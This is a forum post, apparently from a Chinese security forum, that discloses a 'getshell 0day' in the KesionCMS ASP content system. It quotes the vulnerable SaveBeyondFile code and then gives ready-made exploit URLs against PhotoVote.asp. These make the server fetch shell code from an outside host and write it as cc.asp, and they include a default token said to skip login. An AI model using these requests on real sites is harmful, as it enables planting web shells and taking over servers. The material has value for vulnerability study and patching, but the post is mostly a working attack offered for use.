科讯 6.x~8.x getshell 0day

2013-02-21 17:27:47 90 6925 5


这个东西发现好久了,两年多了吧
  废话不多说,直接上代码
Dim KS:Set KS=New PublicCls
Dim ID:ID = Replace(KS.S("ID")," ","")
Dim ChannelID:ChannelID=KS.G("ChannelID")
If ChannelID="" Then ChannelID=2
If KS.G("LocalFileName")<>"" And KS.G("RemoteFileUrl")<>"" Then
   If KS.SaveBeyondFile(KS.G("LocalFileName"),KS.G("RemoteFileUrl"))= True Then
      Response.write KS.G("LocalFileName")'错误提示
   End If
End If

代码略……


        '==================================================
        '过程名:SaveBeyondFile
        '作  用:保存远程的文件到本地
        '参  数:LocalFileName ------ 本地文件名
        '参  数:RemoteFileUrl ------ 远程文件URL
        '==================================================
        Function SaveBeyondFile(LocalFileName,RemoteFileUrl)
            On Error Resume Next
                SaveBeyondFile=True
                dim Ads,Retrieval,GetRemoteData
                Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
                With Retrieval
                        .Open "Get", RemoteFileUrl, False, "", ""
                        .Send
                        If .Readystate<>4 then
                                SaveBeyondFile=False
                                Exit Function
                        End If
                        GetRemoteData = .ResponseBody
                End With
                Set Retrieval = Nothing
                Set Ads = Server.CreateObject("Adodb.Stream")
                With Ads
                        .Type = 1
                        .Open
                        .Write GetRemoteData
                        .SaveToFile server.MapPath(LocalFileName),2
                        .Cancel()
                        .Close()
                End With
                If Err.Number<>0 Then
                   Err.Clear
                   SaveBeyondFile=False
                   Exit Function
                End If
                Set Ads=nothing
        End Function
上面的代码中这几句:
If KS.G("LocalFileName")<>"" And KS.G("RemoteFileUrl")<>"" Then
   If KS.SaveBeyondFile(KS.G("LocalFileName"),KS.G("RemoteFileUrl"))= True Then
      Response.write KS.G("LocalFileName")'错误提示
   End If
End If
KS.G("LocalFileName")和KS.G("RemoteFileUrl")仅仅是判断是否为空并过滤一些SQL字符然后就写文件了!

利用比较简单,登陆后访问
https://www.t00ls.com/Wap/Plus/PhotoVote.asp?LocalFileName=cc.asp&RemoteFileUrl=http://www.bksec.net/111111.txt

成功会在Wap/Plus下写入cc.asp,并返回文件名,其中的111111.txt为shell代码。。
ps:禁止转载,6.x~7.x测试存在,8.x是我加上去的,没有测试,应该存在吧
有的朋友说鸡肋,那就不鸡肋吧:
https://www.t00ls.com/Wap/Plus/PhotoVote.asp?LocalFileName=cc.asp&RemoteFileUrl=http://www.bksec.net/1.txt&wap=76650e3cd0279d4d5fa6c99ad5590
其中的wap=76650e3cd0279d4d5fa6c99ad5590a30是登陆后的验证码,相当于session
这个东西wap=76650e3cd0279d4d5fa6c99ad5590是默认的。。。。好了不多说了。

关于作者

my5t3ry27篇文章294篇回复

http://hi.baidu.com/my5t3ry

评论90次

要评论?请先  登录  或  注册